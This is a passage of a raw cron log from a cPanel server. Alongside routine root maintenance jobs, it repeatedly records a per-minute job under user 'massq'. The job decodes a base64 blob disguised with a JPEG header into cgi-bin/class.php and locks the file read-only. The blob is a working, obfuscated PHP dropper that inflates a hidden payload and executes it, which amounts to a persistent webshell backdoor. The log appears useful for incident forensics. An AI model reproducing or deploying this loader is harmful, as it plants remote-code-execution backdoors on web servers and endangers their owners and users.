LCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:35:01 server CROND[8173]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:35:01 server CROND[8174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:35:01 server CROND[8176]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 08:35:01 server CROND[8179]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 08:35:01 server CROND[8180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:36:01 server CROND[8386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:37:01 server CROND[8439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:38:01 server CROND[8498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:39:01 server CROND[8551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:39:01 server CROND[8552]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 08:40:01 server CROND[8603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:40:01 server CROND[8604]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:40:01 server CROND[8605]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 08:40:01 server CROND[8607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:41:01 server CROND[8710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:42:01 server CROND[8758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 08:42:01 server CROND[8759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:43:01 server CROND[8901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:44:01 server CROND[8957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:45:01 server CROND[9007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:45:01 server CROND[9008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:45:01 server CROND[9009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:46:01 server CROND[9102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:47:01 server CROND[9173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
